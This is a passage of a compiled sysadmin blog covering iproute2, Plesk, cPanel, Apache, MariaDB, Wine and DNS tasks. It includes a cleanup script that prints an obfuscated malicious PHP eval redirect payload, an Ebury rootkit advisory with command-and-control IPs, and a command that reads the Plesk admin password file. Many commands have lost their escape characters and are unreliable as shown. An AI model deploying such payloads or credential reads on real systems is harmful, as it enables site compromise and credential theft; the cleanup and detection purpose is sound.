ip addr add ip_address/net_prefix brd + dev interface

The brd + portion of the command automatically sets the broadcast address. Multiple addresses can be added to each interface without a problem.

We can get rid of addresses with the inverse operation. To delete a specific address associated with an interface, you can use it like this:
ip addr del ip_address/net_prefix dev interface

Optionally, you can omit the address, and the first listed address associated with that interface will be deleted.

You can also adjust the routing of the server, using the ip route [add | change | replace | delete ] syntax, but we won't be covering this here, because most people will will not be adjusting this on a regular basis.

Additional Capabilities of IPRoute2


IPRoute2 has some additional capabilities that we will not be able to discuss in-depth in this guide. Instead, we will talk about what these are and what situations you may find them useful.

The idea of IP routing rules is difficult to talk about because it is very situation dependent. Basically, you can decide on how to route traffic based on a number of fields, including target address, source address, routing protocol, packet size, etc.

We access this functionality by using the ip rule subcommand. The basic querying follows the general pattern of the other subcommands:
ip rule show

0:  from all lookup local 
32766: from all lookup main
32767: from all lookup default

These three routing rules are the default rules configured by the kernel. The first line matches any traffic and is used to route high priority traffic. The second line is the main rule that handles normal routing. The last one is an empty rule that is used for post-processing if the rules above didn't match the packet.

Routing rules, as configured by the IPRoute2 software, are stored in a routing policy database, where the policy is selected by matching against sets of rules. We can add or delete rules using the appropriate actions. You should not do this without knowing what you are doing however. Look at the man pages and search for ip rule for more information.
man ip         # search for "ip rule"

Another thing that we'll discuss briefly is the handling of arp information through these tools. The subcommand that deals with this information is called ip neigh.
ip neigh

107.170.58.1 dev eth0 lladdr 00:00:5e:00:01:68 DELAY

By default, this should at least list your gateway. Arp is a protocol used to gather information about physical devices accessible through the local network.

Basically, an arp request is broadcast over the local network whenever an IP address needs to be reached. The matching IP address responds and then the local computer knows where to send information to that IP address. This information is cached on the local system for some time (typically about 15 minutes) to avoid having to query during follow up communication.

Conclusion


You should now have a fairly good idea of how to use the tools included in the iproute2 suite. While many guides and tutorials still refer to the old utilities, partly because knowledgeable system admins often grew up using the older tools, the commands discussed in this guide will be taking over in the coming years.

It is important to familiarize yourself with these commands now before you find yourself troubleshooting issues on a system that has switched to these commands (Arch Linux already fully converted in 2011). In general, they are much more consistent, and you can count on certain conventions being available in all of the commands. The more you use these commands, the more they will become second nature.
By Justin Ellingwood

Script to list all MySQL databases and disk usage in Plesk

Script to list all MySQL databases and disk usage in Plesk
if [ -d /var/lib/mysql ]; then echo -ne "nn=== MySQL DATABASES ===n"; mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "SELECT round(sum( data_length + index_length )/1024/1024,0) 'SM', table_schema 'DN' FROM information_schema.TABLES GROUP BY table_schema ORDER BY SM DESC G;" | sed '/***/d' | sed 's/SM: //' | sed ':a;N;$!ba;s/nDN:/Mt/g'; fi;

=== MySQL DATABASES ===
128M wordpress_123
99M joomla_db
6M psa 
1M mysql
1M sitebuilder3
1M apsc
0M phpmyadmin_o_4xzIaYJJqD
0M information_schema
0M phpmyadmin_0K_TUOFIGdTW
0M sitebuilder5
0M horde
0M atmail

cPanel to cPanel migration via SSH - Multiple domains

Migrate multiple cPanel domains within a blink of an eye.  Lets do the cPanel migration. Please find the steps below.

Assume “S” is our source server and “D” is our remote server.


1) Make sure you don’t have any cPanel backups under “/home” directory in either “S” or “D” server. If you have, then move it to some other folder.

2) Login to server “D

3) Run the below command.

cat /etc/trueuserdomains | awk '{print $2}' > /home/usrlist


Here what happening is, you will get all cPanel account name in file “/home/usrlist”

4) Start a new screen session by running the below command.

screen -S screenname


( Always use screen to do long running tasks. Even if the connection close, it won’t effect the screen session )

5) Run the below command to backup all domains in your system.

for x in $(cat /home/usrlist); do /scripts/pkgacct $x; done


( The above command will take backup of all your domains and will put it under “/home” directory. )

6) Run the below command to move all backups and “usrlist” file to the directory “/home/bck”

cd /home&& mkdir /home/bck&& mv *.tar.gz usrlist /home/bck


7) Use “scp” to move the files under “/home/bck” to “S” machine. ( It could be a long process. So make sure to run this under “screen” session )

scp -r /home/bck/* root@S machine IP/Hostname:/home


8) After completing the “scp” file transfer, login to “S” machine

9) Start a “screen” session and run the below command to restore all the backups.

for x in $(cat /home/usrlist); do /scripts/restorepkg $x; done


That’s it!! :) You have migrated all the domains from “D” machine to your “S” machine”

Friday 14 March 2014

Horde webmail stops working after installation of Zend Optimizer or manual PHP installation

After installation of Zend Optimizer or manual PHP installation Horde webmail stops to work.

The following error is displayed when trying to browse webmail website:

Warning
: main(PEAR.php): failed to open stream: No such file or directory in C:Inetpubvhostswebmailhordelibcore.php on line 26

Warning
: main(): Failed opening 'PEAR.php' for inclusion (include_path='C:Inetpubvhostswebmailhordelib;.;./includes;./pear') in C:Inetpubvhostswebmailhordelibcore.php on line 26

Warning: main(Log.php): failed to open stream: No such file or directory in C:InetpubvhostswebmailhordelibHorde.php on line 3

Warning: main(): Failed opening 'Log.php' for inclusion (include_path='C:Inetpubvhostswebmailhordelib;.;./includes;./pear') in C:InetpubvhostswebmailhordelibHorde.php on line 3

Warning: _connect(DB.php): failed to open stream: No such file or directory in C:InetpubvhostswebmailhordelibHordeDataTreesql.php on line 1255

Fatal error: _connect(): Failed opening required 'DB.php' (include_path='C:Inetpubvhostswebmailhordelib;.;./includes;./pear') in C:InetpubvhostswebmailhordelibHordeDataTreesql.php on line 1255


Cause



PHP and Zend installers force PHP to use a default configuration file for all applications, but horde uses a special configuration file which is placed to its folder.

Resolution



Please open regedit and clean up the default configuration location by removing the following key:

on x86 servers - HKEY_LOCAL_MACHINESOFTWAREphpIniFilePath
on x64 servers - HKEY_LOCAL_MACHINESOFTWAREWow6432NodePHPIniFilePath

Parallels Plesk Panel stops working after Zend Optimizer installation

Parallels Plesk Panel stops working after the installation of Zend Optimizer.



Cause



The reason for the problem is that Zend sets a path to the php.ini file in the registry:



HKEY_LOCAL_MACHINESOFTWAREPHPIniFilePath=C:WINDOWS


Therefore, all .php scripts on the server start using this setting and use the C:WINDOWSphp.ini file for PHP configuration.



Resolution



To fix this problem , the following key needs to be removed:




  • On x86 servers - HKEY_LOCAL_MACHINESOFTWAREphpIniFilePath

  • On x64 servers - HKEY_LOCAL_MACHINESOFTWAREWow6432NodePHPIniFilePath



Then, all .php scripts will use the correct .ini files.

Define MTA is used in Parallels Plesk Panel and how to switch from QMail to Postfix and back

Two Message Transfer Agents (MTA) are supported by Parallels Plesk Panel versions 9 and above, and they are QMail and Postfix. Only one of them is used by Parallels Plesk Panel at a time

The MTA that is currently used by Parallels Plesk Panel is shown on the "Services Management" page at Home -> Services Management:


  • SMTP Server (Postfix)

  • SMTP Server (QMail)



It is also possible to check the MTA using the Parallels Plesk Panel utility mailmng

    ~# $PRODUCT_ROOT_D/admin/sbin/mailmng --features | grep SMTP_Server
$features['SMTP_Server'] = "Postfix";
$features['SMTP_Server_package'] = "postfix";
~#
or
~# $PRODUCT_ROOT_D/admin/sbin/mailmng --features | grep SMTP_Server
$features['SMTP_Server'] = "QMail";
$features['SMTP_Server_package'] = "psa-qmail";
~#



Resolution



You can switch the MTA from QMail to Postfix and back using the autoinstaller script.

Run the script without parameters:

    ~# /usr/local/psa/admin/sbin/autoinstaller 


Select the Plesk version marked with (currently installed) on the fourth page. Disable all other applications, such as SSO and Sitebuilder.

On the main components list for Plesk page, select the QMail or Postfix mailserver and click "Enter" to complete the installation.

Alternatively, you may run the following command to switch the MTA to Postfix:

    ~# /usr/local/psa/admin/sbin/autoinstaller --select-release-current --install-component postfix


Use the following command to switch to QMail:

    ~# /usr/local/psa/admin/sbin/autoinstaller --select-release-current --install-component qmail


Additional Information



The location of the directory where email messages are stored ($PLESK_MAILNAMES_D) and the mail format are not changed when the MTA is switched.

NOTE: Old mail messages remain unchanged and are available.

However, the mail queue is reconfigured while switching the MTA, and any messages in the queue are lost.

Before switching, it is recommended that you wait until all queued mail is delivered and stop the SMTP service to stop receiving emails.

Using the following command, you may stop the SMTP service:

    ~# /usr/local/psa/admin/sbin/mailmng --stop-smtpd


To flush the queue, use the following commands:

QMail MTA:

    ~# kill -ALRM `pidof qmail-send`


Postfix MTA:

    ~# postqueue -f


 

Thursday 13 March 2014

How to install MariaDB in cPanel/WHM

MariaDB is “An enhanced, drop-in replacement for MySQL”. Below you will find some steps on how to affectively stop cPanel/WHM from maintaining MySQL and begin utilizing MariaDB  for any and all database activity on your server but please note that,  cPanel/WHM no longer maintains MySQL on your system it is on the Systems Administrator to manage and maintain any updates and maintenance on the database software.  We recommend only experienced systems administrators perform the above and we are not responsible for any possible data loss.

Step 1: Backup existing MySQL data

Make sure to save all existing data just in case there are any issues.

cp -Rf /var/lib/mysql /var/lib/mysql-old
mv /etc/my.cnf /etc/my.cnf-old

## Also please take sql file of the existing databases, so that we can avoid the data lose


Step 2: Disable the targets so cPanel no longer handles MySQL updates #ONLY FOR cPanel 11.36+


The following will mark the versions of MySQL we distribute as uninstalled so they are no longer maintained by cPanel/WHM

/scripts/update_local_rpm_versions --edit target_settings.MySQL50 uninstalled
/scripts/update_local_rpm_versions --edit target_settings.MySQL51 uninstalled
/scripts/update_local_rpm_versions --edit target_settings.MySQL55 uninstalled


Step 3: Remove existing MySQL RPM’s so theres a clean slate for MariaDB

Important: The below command will uninstall the MySQL RPM’s!


/scripts/check_cpanel_rpms --fix --targets=MySQL50,MySQL51,MySQL55


[20130623.211100]    
[20130623.211100]   The following RPMs are unneeded on your system and should be uninstalled:
[20130623.211100]   MySQL55-client.5.5.31-1.cp1136
[20130623.211100]   MySQL55-devel.5.5.31-1.cp1136
[20130623.211100]   MySQL55-server.5.5.31-1.cp1136
[20130623.211100]   MySQL55-shared.5.5.31-1.cp1136
[20130623.211100]   MySQL55-test.5.5.31-1.cp1136
0
[20130623.211100]   Removing 0 broken rpms:
[20130623.211100]   rpm: no packages given for erase
[20130623.211100]   No new RPMS needed for install
[20130623.211100]   Uninstalling unneeded rpms: MySQL55-test MySQL55-server MySQL55-client MySQL55-shared MySQL55-devel


Step 4: Create a yum repository for MariaDB

access https://downloads.mariadb.org/mariadb/repositories and select the DISTRO and place the repo content to /etc/yum.repos.d/MariaDB.repo

EX (In my cause):
#vi /etc/yum.repos.d/MariaDB.repo

# MariaDB 5.5 CentOS repository list - created 2013-06-23 21:13 UTC
# http://mariadb.org/mariadb/repositories/
[mariadb]
name = MariaDB
baseurl = http://yum.mariadb.org/5.5/centos6-amd64
gpgkey=https://yum.mariadb.org/RPM-GPG-KEY-MariaDB
gpgcheck=


Step 5: install MariaDB using the  following command

yum install MariaDB-server MariaDB-client MariaDB-devel

##If you are having any dependency problem, please remove php from the /etc/yum.conf file and then run yum command again. Please add it back to yum conf once the package is installed.


/etc/init.d/mysql start
mysql_upgrade
/etc/init.d/mysql restart


Final Step: Rebuild easyapache/php to ensure modules are intact/working

/scripts/easyapache --build

mod_reveseproxy: extract client IP from reverse proxy

If you setup Apache 2.4 With mod_remoteip, the apache extendedstatus always gives you the proxy IP, instead of client IP, actually this is due to that the mod_status  set client IP very early when there is a TCP connection but no headers, Apache 2.4 allows per-request notion of overriding the client address, but not at this early stage. To overcome this issue, I would suggest you to use mod_reveseproxy apache module, the modules is completely based on mod_cloudflare and mod_remoteip.



To install, follow the instructions on:



wget https://raw.github.com/Prajithp/mod_reverseproxy/master/mod_reverseproxy.c
apxs -i -c -n mod_reverseproxy.so mod_reverseproxy.c



Configuration Directives



ReverseProxyEnable           (On|Off)          - Enable reverse proxy

ReverseProxyRemoteIPHeader X-Real-IP - The header to use for the real IP
address.
ReverseProxyRemoteIPTrusted 127.0.0.1 - What IPs to adjust requests for



Example Configuration





LoadModule reverseproxy_module modules/mod_reverseproxy.so

<IfModule reverseproxy_module>
ReverseProxyEnable  On
ReverseProxyRemoteIPHeader X-Real-IP
ReverseProxyRemoteIPTrusted 127.0.0.1
ReverseProxyRemoteIPTrusted 46.105.160.192
</IfModule>




NOTES:


  • If mod_cloudflare or mod_remoteip are already loaded on the same web server, the web server will crash because both modules try to set the remote IP to a different value.



https://github.com/Prajithp/mod_reverseproxy


How Can I See My Total Disk Space and Bandwidth Available on My Reseller Account?

If you would like to check the number of files, disk space or how much bandwidth you are using on your Reseller account, you can do so from your WHM panel.



View Disk Space per cPanel



You can view the disk space allotment and usage for a specific account by doing the following:


  1. Log into WHM.

  2. Click on Account Information.

  3. Click on List Accounts.



The allotments for each cPanel account will be listed in the Quota and Disk Used columns.

View Disk Space for the Entire Reseller Account



If you are wanting to see the total amount of disk space for your entire Reseller account:


  1. Log into WHM.

  2. Click on Account Functions.

  3. Click on Create New Account.



At the bottom of the page, under Account Creation Resource Information, the total disk space and bandwidth for the entire Reseller account will be listed along with the amounts allotted per package.

View Bandwidth Usage



To view your bandwidth usage per cPanel or for your entire Reseller account, you can do so by doing the following:


  1. Log into your Reseller WHM Panel.

  2. Click on Account Information.

  3. Click View Bandwidth Usage.



when you go to “create a New Account” on the right side you should see the current space and bandwidth usag

Wednesday 12 March 2014

Apache: No space left on device: Couldn’t create accept lock

No space left on device: Couldn’t create accept lock



[notice] suEXEC mechanism enabled (wrapper: /usr/local/apache/bin/suexec)
[crit] (28)No space left on device: mod_rewrite: Parent could not create RewriteLock file /usr/local/apache/logs/rewrite_lock



semget: [emerg] (28) No space left on device OR Apache: No space left on device: Couldn’t create accept lock



You may receive “No space left on device” message while starting the Apache service, however, it has nothing to do with the disk space. The reason behind the error message is Semaphores.



You will have to kill the active semaphore processes in order to start Apache service successfully.



To list the PIDs of the active semaphore processes, execute:



# ipcs -s
—— Semaphore Arrays ——– key
semid owner perms nsems
0×00000000 366673220 apache 600 1
0×00000000 366706589 apache 600 1
0×00000000 366732358 apache 600 1
0×00000000 366734353 apache 600 1
It will list all the PIDs which need to be killed:



# ipcrm -s PID



If you have a long list of processes, execute the following commands:



# ipcs -s | grep apache | awk ‘ { print $2 } ‘ | xargs ipcrm sem
#for i in `ipcs -s | awk ‘{print $2}’`; do (ipcrm -s $i); done



Replace ”apache’ in the above command with the actual “owner” of the processes returned in the “ipcs -s” command. Apache will start successfully once these processes are killed.



What is a Semaphore?



Semaphores are use to communicate between active processes. Apache write down some information of such processes before the communication actually begins and if Apache fails to write the information, it results in the “No space left on device: Couldn’t create accept lock” error message.

Apache error : Error retrieving pid file logs/httpd.pid

Unable to start Apache service on cPanel server.



If you are getting the following error while trying to restart the Apache service.



-------------------------
-bash-3.2# /etc/init.d/httpd start
(20014)Internal error: Error retrieving pid file logs/httpd.pid
Remove it before continuing if it is corrupted.
-------------------------



Solution :-



-bash-3.2# mv /usr/local/apache/logs/httpd.pid /usr/local/apache/logs/httpd.pid.bk
-bash-3.2# /etc/init.d/httpd restart
httpd not running, trying to start



Be sure that the apache service is running :



# /etc/init.d/httpd status

Beware of Linux SSHD rootkit to steal SSH credentials in server

[2014-01-08] Information about an updated version of the SSHD rootkit called Ebury added.



Since the end of Feb 2013, some server administrator found the SSHD rootkit infection on RPM based Linux server in the wild. German CERT team   discovered that 38 IP addresses in HK had connected to one of this rootkit’s command and control server (C&C) and these Linux servers might have been   infected by a SSHD rootkit. HKCERT received their report and informed to the owners of affected server to check and clean up their servers.



 SSHD Rookit



SSH is the major tool on Linux for remote administration and it is a critical security risk if this application is compromised. This SSHD rootkit is not caused by SSH vulnerability and the initial attack vector is still unknown. The rootkit must be installed on a root compromised server and it replaces the legitimate keyutils library with a trojanized library (i.e. rootkit file). The rootkit links with SSHD daemon to collect credentials of authenticated SSH users and may not leave any trail on audit log.



 Besides, the rootkit implements a DGA (Domain Generation Algorithm) which creates the random looking domain names in the .biz, .info and .net top level domains (in this order) and send a DNS packet containing collected credentials to the target domains which are generated by the rootkit in daily. If the domains are not yet registered by the attacker, the DNS packet is sent to the hard-coded IP address “78.47.139.110” or "72.156.139.154".



https://www.hkcert.org/image/image_gallery?uuid=b6c9d0a2-d747-4fde-b82e-1d04449cc58b&groupId=16&t=1363081800304



What is the impact of infected servers?



The infected servers may have the following impact:


  • Steal user credentials on system

  • Steal SSH private keys for outgoing SSH connections

  • As a backdoor to access at any time

  • Used for sending spam



How to check if your Linux server is infected?



[2014-01-08] According to CERT-Bund, an updated version of the rootkit called Ebury was discovered, and following is the detection method:


  1. Ebury uses shared memory segments (SHMs) for interprocess communication. To show a list of currently existing SHMs, run the command 'ipcs -m' as root.

  2. If the output shows one or more large segments (at least 3 MB) with full permissions (666), the system is most likely infected with Ebury. Sample output: ------ Shared Memory Segments --------
    key shmid owner perms bytes nattch
    0x000006e0 32763 root 666 3018428 0
    0x00000469 65538 apache 666 4313584 0

    0x0000047a 131072 smmsp 666 3966496 0


    Please note that Ebury often changes the ownership of segments to arbitrary users existing on the system (like 'apache') to make the segments look legit.



[For older version of SSHD rootkit] The following checking can help you to verify if your Linux server is infected.


  • Locate the network activity issued by the trojanized keyutils library



Check the output of following command (in one line):


#find /lib* -name libkeyutils* -exec strings {} ; | egrep 'connect|socket|inet_ntoa|gethostbyname'


If there is any output, your server is infected.
If there is no output, proceed to next step.


  • Check the file integrity of keyutils library



Check the output of the following command:




#rpm -Vv keyutils-libs


If you see output similar the list below, it means that the package is infected:





........    /lib/libkeyutils-1.2.so
S.5..... /lib/libkeyutils.so.1
........ /usr/share/doc/keyutils-libs-1.2
........ d /usr/share/doc/keyutils-libs-1.2/LICENCE.LGPL




If the server is not infected, you should only see dots in left column:





........    /lib64/libkeyutils-1.2.so
........ /lib64/libkeyutils.so.1
........ /usr/share/doc/keyutils-libs-1.2
........ d /usr/share/doc/keyutils-libs-1.2/LICENCE.LGPL




 

Solution



If your server is infected


  1. We strongly recommend you to reinstall the OS of infected server to avoid any unknown security risk. Due to the attack vector is still unknown, please do the following action to avoid re-infection.

    1. Perform the above checking regularly

    2. Keep monitor the latest patch or security issue relating to this rootkit



  2. However, if you are not able to perform re-installation, please fix the following items under no network connection environment.

    1. Re-install libkeyutils (using rpm --replacepkg option) and reboot the server.

    2. Perform the above checking to ensure that the libkeyutils is replaced by a clean one

    3. Change the password of all SSH user account.



Tuesday 11 March 2014

WordPress SEO Friendly URL Structure

WordPress URL Structure by default is not the most Search Engine Friendly, and it is also not very user friendly. In this tutorial we will show you how to make SEO Friendly URL Structure for WordPress that are also user friendly. If you see us use Permalink structure instead of URL structure, you should know that they are synonymous.



Why SEO Friendly URL Structure



When you have a SEO friendly structure, you are increasing your chances of ranking higher in search engines such as Google and others. Which by default are the largest source of new visitors to any website. In our experience with SEO, we have seen that Google gives extra weight to the URL structure therefore it is recommended that you follow this tutorial.
Begin Process



By default WordPress URL Structure looks a bit more robotic because it is not user friendly at all let alone not being SEO friendly.



http://wplinuxeasy.com/?p=45



Above is an example of what a default WordPress URL structure looks like. The goal of making the URL structure more friendly is that your users should know before reading the article what it is about by just looking at the URL. The same goal is to be accomplished for Search Engines as well.



Settings / Permalink Option in WordPress



First you need to open the Permalink Option Page which you can find in your WordPress Admin Panel if you click on the Setting Tabs and then go to Permalink. There you should see something which looks familiar to the image above.



You would need to click on the fifth option which says Custom Structure.



Step 2: Pick Your Structure from Documentation



There are many ways a URL can be organized. WordPress gives a few options which you can see at two, three, and four. But those are not the best option in our opinion.



We recommend the URL Structure of



/%category%/%postname%/


or if someone wants a completely static site, then they can use the version below.



/%category%/%postname%.html


By using that documentation your URL structure will be keyword rich as it will contain the keyword of the category and the title. Like the one below:



http://www.wpbeginner.com/wp-tutorials/how-to-install-WordPress-on-your-site/


Now while we recommend the options above there are multiple other ways you can organize your URLs. We have seen many different options in use. To know the possible URL Structure combination, you will need to learn a few documentation tags.



%year% – The year of the post, four digits, for example 2004



%monthnum% – Month of the year, for example 05



%day% – Day of the month, for example 28



%hour% – Hour of the day, for example 15



%minute% – Minute of the hour, for example 43



%second% – Second of the minute, for example 33



%postname% – A sanitized version of the title of the post (post slug field on Edit Post/Page panel). So This Is A Great Post! becomes this-is-a-great-post in the URL.



%post_id% – The unique ID # of the post, for example 423



%category% – A sanitized version of the category name (category slug field on New/Edit Category panel). Nested sub-categories appear as nested directories in the URI.



%author% – A sanitized version of the author name.



More information about the tags can be found in WordPress Codex for Permalinks.



Once you have selected the combination, paste it in the field and click “Save Changes”



Your .htaccess file will automatically be updated, and your URL will be changed. We suggest that you do this towards the start of your website, so you don’t have to go through the process of re-indexing in search engine.



Good Luck with Ranking High in Search Engines.

Move Email from one Gmail Account to Another

Here are a few different methods out there to move Gmail from one account to another and I’ve tried most.



The problem is that they all have some sort of requirement that makes them work for some people, but not all. Or maybe they get the email, but miss the labels. None seemed to work for everyone, all the time.



The good news is I found a way that should work for everyone using Mozilla’s Thunderbird.



To get started, download and install Thunderbird. It works on Mac, Window and Linux so everyone can take part.



Next, make sure IMAP is enabled in both of the Gmail accounts you’re working with. It doesn’t matter if they are free Gmail accounts or Gmail that’s tied to a domain name.



Once IMAP is activated, setup both accounts in Thunderbird and let Thunderbird fully download all the email in your current Gmail account. This could take some time depending on how much email you have.



After all your email has been downloaded, you can drag and drop your folders from one account to the other. Thunderbird will then copy the folders (aka labels) and all the emails in them to your new account.



With the inbox, sent, deleted, all mail and drafts, you’ll need to select all the emails in those folders, right-click, and copy them into the new account’s inbox, sent, deleted, all mail or drafts folders. Drag and drop won’t work for these folders as they are special folders.



Again, depending on how much email you have, this could take a while. I usually start it and then walk away. It’ll do it’s thing and by the time I get back hopefully it’s done.



Once all the email is moved over, give Thunderbird some time to ensure that all changes get re-synced back up online. The easiest thing to do here is to log into the new account online and see if all your mail is there.



And that’s it. You’ve now moved all your email from one Gmail account to another.



With this method, it doesn’t matter if you’re on a Mac, Windows or Linux computer. It doesn’t matter if it’s a free Gmail account or a Google apps account. It doesn’t matter how many labels you have or how you organize your email. It just works, or at least it did for me.



Ohh and if you need to move your Gmail filters from one account to another, check out the labs section of Gmail and enable the ‘Filter import/export’ functionality.

Script - replace the hack code from all php files

We came across a situation  where we have to  replace  the   hack/eval code from many PHP  files and hence thought of writing a small shell script that will  remove the hack/eval code from  all the infected PHP  files .

And I came up with the below simple shell script and thought of sharing it here so that if anyone came across the same situation  then  he/she can use that script. - Raj

root@leserver[#]  vi  replacehack.sh


hacked='eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcGlvcG8uMjV1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));'

find -name *.php | xargs replace $hacked ""  --



You can  execute the   hackreplace.sh file  as

 root@leserver[#]  sh replacehack.sh

Sunday 9 March 2014

How to Install Wine 1.6.2 Stable in RHEL, CentOS and Fedora

Wine is an open source and free application for Linux that enables users to run any windows based application on Unix/Linux like operating system. Wine team is keep releasing their versions in every two weeks.



Finally, the Wine team proudly announced the stable release of Wine 1.6.2 and made available for download in source and binary packages for various distributions such as Linux, Windows and Mac.



This release describes 25 months of development struggle and brings more than 10000 new individual changes.



The core feature in this stable release of Wine is the implementation of color management support reached to liblcms version 2. As well as fixed several bug fixes for the Windows games and tools such as: Resident Evil 2 Max Payne 2, Unreal Tournament GOTY, FEAR Combat, Age of Empires II, Windows Installer Cleanup, League of Legends, NVIDIA CUDA Toolkit v5.5, FL Studio, and a few other core changes.



For a complete summary of major changes, See the release notes of Wine 1.6.2 at http://www.winehq.org/announce/1.6.2



In this article we will guide you a simplest way to install latest release of Wine 1.6.2 version in RHEL 6.5/6.4/6.3/6.2/6.1/6/5.9/5.8/5.6, CentOS 6.5/6.4/6.3/6.2/6.1/6/5.9/5.8/5.6 and Fedora 20,19,18,17,16,15,14,13,12 using source code.


Installing Wine 1.6.2 in RHEL, CentOS and Fedora



Step 1: Installing Dependency Packages



We need to install ‘Development Tools‘ with some core development tools such gcc, flex, bison, debuggers etc. these software’s are must required to compile and build new packages, install them using YUM command.



# yum -y groupinstall 'Development Tools' # yum -y install libX11-devel freetype-devel


Step 2: Downloading Wine 1.6.2 Download the source file using Wget command under /tmp directory as a normal User.



$ cd /tmp $ wget http://citylan.dl.sourceforge.net/project/wine/Source/wine-1.6.2.tar.bz2


Step 3: Extracting Wine 1.6.2



Once the file is downloaded under /tmp directory, use the below commands to extract it.




$ tar -xvf wine-1.6.2.tar.bz2 -C /tmp/



Step 4: Installing Wine 1.6.2



It is recommended to compile and build Wine installer as a normal User. Run the following commands as normal user. (Note : The installer might take up-to 20-30 minutes and in the middle it will ask you to enter root password).



On 32-Bit Systems



$ cd wine-1.6.2/
$ ./tools/wineinstall



On 64-Bit Systems



$ cd wine-1.6.2/
$ ./configure --enable-win64
$ make
# make install



Once the installation completes run the “winecfg” configuration tool from KDE or GNOME desktop to see the supported configuration. If you don’t have any of the desktop, you can install it by using the below command as root user.




# yum groupinstall "X Window System" "GNOME Desktop Environment"
OR
# yum groupinstall "X Window System" "KDE (K Desktop Environment)"



Once the X Window System installed, run the command as normal user to see wine configuration.




$ winecfg



Winecfg Screen



Step 5: Running Wine 1.6.2



To run the Wine, you must specify the full path to the executable program. For example shown below.




$ wine notepad
$ wine notepad.exe
$ wine c:windowsnotepad.exe



Running Wine in KDE Wine is not perfect, because while using wine we see so many programs crashes. I think wine team will soon fix all bugs in their upcoming version and meanwhile do share your comments using our below form.

Friday 7 March 2014

What is DNS propagation?

When you make a DNS change, it takes time for the changes to take effect. This is called DNS propagation. It is the time it takes for the domain DNS to refresh the cache on the network.

Thursday 6 March 2014

How long does it take to refresh my DNS cache?

The cache is cleared over a certain amount of time. We suggest waiting up to 24 hours for the DNS cache to be fully refreshed. DNS will refresh according to the "TTL" or "Time To Live". When the DNS refreshes according to its TTL, the propagation is complete and your site will load.

CSH script does not show any output for non cPanel user

If the csh file not showing any output while executing a .csh file for a non cPanel user then it is because of the file “/etc/profile.d/locallib.csh” .

Apply the below fix for this ::

open the file : /etc/profile.d/locallib.csh and replace the code : eval $(perl -Mlocal::lib) with eval perl -Mlocal::lib

So it should show the output as ::

 cat /etc/profile.d/locallib.csh

#cPanel Added local::lib -- BEGIN
setenv LOCALLIBUSER $USER
if ( -e /usr/bin/whoami ) then
        setenv LOCALLIBUSER `whoami`
endif
if ( "$LOCALLIBUSER" != "root" ) then
    eval `perl -Mlocal::lib`
endif
#cPanel Added local::lib -- END


instead of

cat /etc/profile.d/locallib.csh

#cPanel Added local::lib -- BEGIN
setenv LOCALLIBUSER $USER
if ( -e /usr/bin/whoami ) then
setenv LOCALLIBUSER `whoami`
endif
if ( "$LOCALLIBUSER" != "root" ) then
eval $(perl -Mlocal::lib)
endif
#cPanel Added local::lib -- END

Saturday 1 March 2014

Domain pointing to external MX on plesk

If you domain uses external MX record and it is hosted on linux plesk server then you need to change the setting on Plesk.


Here is what you need to do to achieve the task.

1) Update the DNS for the Domain


  • Change/Add MX records to set external email server with relevant priorities

  • Either remove the CNAME for mail.domainname.com(if not to be used for configuration) OR

  • Edit CNAME for the domain which will point to external email server (usually provided by email service provider) OR

  • Add A record for mail.domainname.com to point to external email server

  • This will take some time (12 to 24 hours) to propagate the changes made in DNS.




2) Once the DNS is configured to use external email server, it is necessary to de-activate the Mail service for the domain from the Plesk.


  • Login to Plesk as admin

  • Domains

  • Search and go into the Domain

  • Click on ‘Mail’ (has drop down options)

  • Click on ‘Mail Settings’ (other option is ‘Create Mailing List’)

  • Under Mail Preferences Uncheck the option “Activate mail service on domain”

  • Click ‘OK’ button to save the settings.



The Above settings must remove the entry for the domain from the following two “qmail” server configuration files.

=> /var/qmail/control/rcpthosts
=> /var/qmail/control/virtualdomains

After removal of above to entries, server will look for the external email server for that domain by fetching MX records from its DNS